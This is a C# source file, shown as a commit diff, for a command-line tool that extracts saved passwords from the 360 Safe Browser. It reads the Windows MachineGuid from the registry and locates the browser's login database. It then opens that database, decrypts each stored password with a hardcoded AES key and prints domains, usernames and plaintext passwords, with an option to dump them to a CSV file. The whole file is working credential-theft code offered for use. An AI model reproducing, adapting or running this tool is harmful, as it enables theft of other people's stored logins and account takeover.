1+ using System ;
2+ using System . Data ;
3+ using System . Text ;
4+ using System . IO ;
5+ using System . Linq ;
6+ using Microsoft . Win32 ;
7+ using System . Security . Cryptography ;
8+
9+ namespace Safe360Browsergetpass
10+ {
11+
12+ public class Program
13+ {
14+
15+
16+
17+
18+ public static void Main ( string [ ] args )
19+ {
20+ String Binary = @"
21+ /$$$$$$ /$$$$$$$
22+ /$$__ $$| $$__ $$
23+ |__/ \ $$| $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$
24+ /$$$$$/| $$$$$$$ /$$__ $$ |____ $$ /$$_____/ /$$_____/
25+ |___ $$| $$__ $$| $$ \ $$ /$$$$$$$| $$$$$$ | $$$$$$
26+ /$$ \ $$| $$ \ $$| $$ | $$ /$$__ $$ \____ $$ \____ $$
27+ | $$$$$$/| $$$$$$$/| $$$$$$$/| $$$$$$$ /$$$$$$$/ /$$$$$$$/
28+ \______/ |_______/ | $$____/ \_______/|_______/ |_______/
29+ | $$
30+ | $$
31+ |__/ V0.1 by haya & 21reverse
32+
33+
34+
35+ " ;
36+ Console . WriteLine ( Binary ) ;
37+ var pomocna = new Program ( ) ;
38+ ResourceExtractor . ExtractResourceToFile ( "Safe360Browsergetpass.sqlite3.dll" , "sqlite3.dll" ) ;
39+ String dbPath = null ;
40+ String MachineGuid = null ;
41+ bool isCsv = false ;
42+ bool isAuto = false ;
43+ if ( args . Length == 0 || args . Length > 4 )
44+ {
45+ Console . WriteLine ( "Usage: 360GetBrowserPass.exe <DB path> <MachineGuid> [/csv] [/auto]" ) ;
46+ System . Environment . Exit ( 0 ) ;
47+ }
48+ else if ( args . Contains ( "/auto" ) )
49+ {
50+ isAuto = true ;
51+ }
52+ else
53+ {
54+ dbPath = args [ 0 ] ;
55+ MachineGuid = args [ 1 ] ;
56+ }
57+ if ( args . Contains ( "/csv" ) )
58+ {
59+ isCsv = true ;
60+ }
61+ if ( isAuto )
62+ {
63+ MachineGuid = pomocna . getKey ( @"SOFTWARE\Microsoft\Cryptography" , "MachineGuid" , 2 ) ;
64+ dbPath = pomocna . getKey ( @"360SeSES\DefaultIcon" , null , 0 ) . Split ( ',' ) [ 0 ] . Replace ( @"360se6\Application\360se.exe" , "" ) + @"360se6\User Data\Default\apps\LoginAssis\assis2.db" ;
65+ }
66+ Console . WriteLine ( "current DB {0}" , dbPath ) ;
67+ Console . WriteLine ( "current MachineGuid {0}\n " , MachineGuid ) ;
68+
69+ DataTable bdata = pomocna . GetSqlite3De ( dbPath , MachineGuid ) ;
70+
71+ foreach ( DataRow dr in bdata . Rows )
72+ {
73+ var _text = dr [ "password" ] . ToString ( ) . Replace ( "(4B01F200ED01)" , "" ) ;
74+ var passItem = pomocna . DecryptAes ( _text ) ;
75+ StringBuilder _stringb = new StringBuilder ( ) ;
76+
77+ if ( passItem [ 0 ] == '\x02 ' )
78+ {
79+ for ( int p = 0 ; p < passItem . Length ; p ++ )
80+ {
81+ if ( p % 2 == 1 )
82+ {
83+ _stringb . Append ( passItem [ p ] ) ;
84+ }
85+ }
86+ dr [ "password" ] = _stringb ;
87+ }
88+ else
89+ {
90+ for ( int p = 1 ; p < passItem . Length ; p ++ )
91+ {
92+ if ( p % 2 != 1 )
93+ {
94+ _stringb . Append ( passItem [ p ] ) ;
95+ }
96+ }
97+ dr [ "password" ] = _stringb ;
98+ }
99+ }
100+ foreach ( DataRow dr in bdata . Rows )
101+ {
102+
103+ Console . WriteLine ( "{0} {1} {2}" , dr [ "domain" ] , dr [ "username" ] , dr [ "password" ] ) ;
104+ }
105+
106+
107+ if ( isCsv )
108+ {
109+ string title = "360SafeBrowserPassword_" + DateTime . Now . ToString ( "yyyyMMddHHmmss" ) + ".CSV" ;
110+ DataTableToCsv obj = new DataTableToCsv ( ) ;
111+ StringBuilder data = obj . ConvertDataTableToCsvFile ( bdata ) ;
112+ try
113+ {
114+ obj . SaveData ( data , title ) ;
115+ Console . WriteLine ( "passowrd File Save to {0}" , title ) ;
116+ }
117+ catch
118+ {
119+ Console . WriteLine ( "Save csv error!" ) ;
120+ }
121+ }
122+ }
123+
124+ public DataTable GetSqlite3De ( String dbPath , String MachineGuid )
125+ {
126+ //int j = sqlite3_rekey(_db, newpassWord, newLength);
127+
128+ SQLiteBase db = new SQLiteBase ( dbPath , MachineGuid ) ;
129+ var BrowserTable = db . ExecuteQuery ( "select * from tb_account" ) ;
130+ //foreach (DataRow dr in BrowserTable.Rows)
131+ //{
132+ // Console.WriteLine("----------------");
133+ // Console.WriteLine(dr["domain"]);
134+ // Console.WriteLine(dr["username"]);
135+ // Console.WriteLine(dr["password"]);
136+ //}
137+ return BrowserTable ;
138+ }
139+
140+ public class DataTableToCsv
141+ {
142+ public StringBuilder ConvertDataTableToCsvFile ( DataTable dtData )
143+ {
144+ StringBuilder data = new StringBuilder ( ) ;
145+
146+ //Taking the column names.
147+ for ( int column = 0 ; column < dtData . Columns . Count ; column ++ )
148+ {
149+ //Making sure that end of the line, shoould not have comma delimiter.
150+ if ( column == dtData . Columns . Count - 1 )
151+ data . Append ( dtData . Columns [ column ] . ColumnName . ToString ( ) . Replace ( "," , ";" ) ) ;
152+ else
153+ data . Append ( dtData . Columns [ column ] . ColumnName . ToString ( ) . Replace ( "," , ";" ) + ',' ) ;
154+ }
155+
156+ data . Append ( Environment . NewLine ) ; //New line after appending columns.
157+
158+ for ( int row = 0 ; row < dtData . Rows . Count ; row ++ )
159+ {
160+ for ( int column = 0 ; column < dtData . Columns . Count ; column ++ )
161+ {
162+ ////Making sure that end of the line, shoould not have comma delimiter.
163+ if ( column == dtData . Columns . Count - 1 )
164+ data . Append ( dtData . Rows [ row ] [ column ] . ToString ( ) . Replace ( "," , ";" ) ) ;
165+ else
166+ data . Append ( dtData . Rows [ row ] [ column ] . ToString ( ) . Replace ( "," , ";" ) + ',' ) ;
167+ }
168+
169+ //Making sure that end of the file, should not have a new line.
170+ if ( row != dtData . Rows . Count - 1 )
171+ data . Append ( Environment . NewLine ) ;
172+ }
173+ return data ;
174+ }
175+ public void SaveData ( StringBuilder data , string filePath )
176+ {
177+ using ( StreamWriter objWriter = new StreamWriter ( filePath ) )
178+ {
179+ objWriter . WriteLine ( data ) ;
180+ }
181+ }
182+ }
183+
184+ public string EncryptAes ( string text )
185+ {
186+
187+ byte [ ] src = Encoding . UTF8 . GetBytes ( text ) ;
188+ byte [ ] key = Encoding . ASCII . GetBytes ( "cf66fb58f5ca3485" ) ;
189+ RijndaelManaged aes = new RijndaelManaged ( ) ;
190+ aes . Mode = CipherMode . ECB ;
191+ aes . Padding = PaddingMode . PKCS7 ;
192+ aes . KeySize = 128 ;
193+
194+ using ( ICryptoTransform encrypt = aes . CreateEncryptor ( key , null ) )
195+ {
196+ byte [ ] dest = encrypt . TransformFinalBlock ( src , 0 , src . Length ) ;
197+ encrypt . Dispose ( ) ;
198+ return Convert . ToBase64String ( dest ) ;
199+ }
200+ }
201+
202+ public string DecryptAes ( string text )
203+ {
204+
205+ byte [ ] src = Convert . FromBase64String ( text ) ;
206+ RijndaelManaged aes = new RijndaelManaged ( ) ;
207+ byte [ ] key = Encoding . ASCII . GetBytes ( "cf66fb58f5ca3485" ) ;
208+ aes . KeySize = 128 ;
209+ //aes.IV = Encoding.UTF8.GetBytes("cf66fb58f5ca3485");//
210+ //aes.Padding = PaddingMode.Zeros;//
211+ //aes.BlockSize = 128;//
212+ aes . Padding = PaddingMode . None ;
213+ aes . Mode = CipherMode . ECB ;
214+ using ( ICryptoTransform decrypt = aes . CreateDecryptor ( key , null ) )
215+ {
216+ byte [ ] dest = decrypt . TransformFinalBlock ( src , 0 , src . Length ) ;
217+ decrypt . Dispose ( ) ;
218+ return Encoding . UTF8 . GetString ( dest ) ;
219+ }
220+ }
221+
222+ public static readonly RegistryHive [ ] _hives
223+ = new [ ]
224+ {
225+ RegistryHive . ClassesRoot ,
226+ RegistryHive . CurrentUser ,
227+ RegistryHive . LocalMachine ,
228+ RegistryHive . Users ,
229+ RegistryHive . PerformanceData ,
230+ RegistryHive . CurrentConfig ,
231+ RegistryHive . DynData
232+ } ;
233+ public string getKey ( string regeditPath , string regeditValue , int keyType )
234+ {
235+ string x64Result = string . Empty ;
236+ string x86Result = string . Empty ;
237+ string _values = string . Empty ;
238+ try
239+ {
240+
241+ RegistryKey keyBaseX64 = RegistryKey . OpenBaseKey ( _hives [ keyType ] , RegistryView . Registry64 ) ;
242+ RegistryKey keyBaseX86 = RegistryKey . OpenBaseKey ( _hives [ keyType ] , RegistryView . Registry32 ) ;
243+ RegistryKey keyX64 = keyBaseX64 . OpenSubKey ( regeditPath , RegistryKeyPermissionCheck . ReadSubTree ) ;
244+ RegistryKey keyX86 = keyBaseX86 . OpenSubKey ( regeditPath , RegistryKeyPermissionCheck . ReadSubTree ) ;
245+ object resultObjX64 = keyX64 . GetValue ( regeditValue , ( object ) "default" ) ;
246+ object resultObjX86 = keyX86 . GetValue ( regeditValue , ( object ) "default" ) ;
247+ keyX64 . Close ( ) ;
248+ keyX86 . Close ( ) ;
249+ keyBaseX64 . Close ( ) ;
250+ keyBaseX86 . Close ( ) ;
251+ keyX64 . Dispose ( ) ;
252+ keyX86 . Dispose ( ) ;
253+ keyBaseX64 . Dispose ( ) ;
254+ keyBaseX86 . Dispose ( ) ;
255+ keyX64 = null ;
256+ keyX86 = null ;
257+ keyBaseX64 = null ;
258+ keyBaseX86 = null ;
259+ if ( resultObjX64 != null && resultObjX64 . ToString ( ) != "default" )
260+ {
261+ _values = resultObjX64 . ToString ( ) ;
262+ return _values ;
263+ }
264+ if ( resultObjX86 != null && resultObjX86 . ToString ( ) != "default" )
265+ {
266+ _values = resultObjX86 . ToString ( ) ;
267+ return _values ;
268+ }
269+ }
270+ catch
271+ {
272+ Console . WriteLine ( "red key error" ) ;
273+ }
274+ return _values ;
275+ }
276+ }
277+ }
278+
279+ public static class ResourceExtractor
280+ {
281+ public static void ExtractResourceToFile ( string resourceName , string filename )
282+ {
283+ if ( ! System . IO . File . Exists ( filename ) )
284+ using ( System . IO . Stream s = System . Reflection . Assembly . GetExecutingAssembly ( ) . GetManifestResourceStream ( resourceName ) )
285+ using ( System . IO . FileStream fs = new System . IO . FileStream ( filename , System . IO . FileMode . Create ) )
286+ {
287+ byte [ ] b = new byte [ s . Length ] ;
288+ s . Read ( b , 0 , b . Length ) ;
289+ fs . Write ( b , 0 , b . Length ) ;
290+ }
291+ }
292+ }
0 commit comments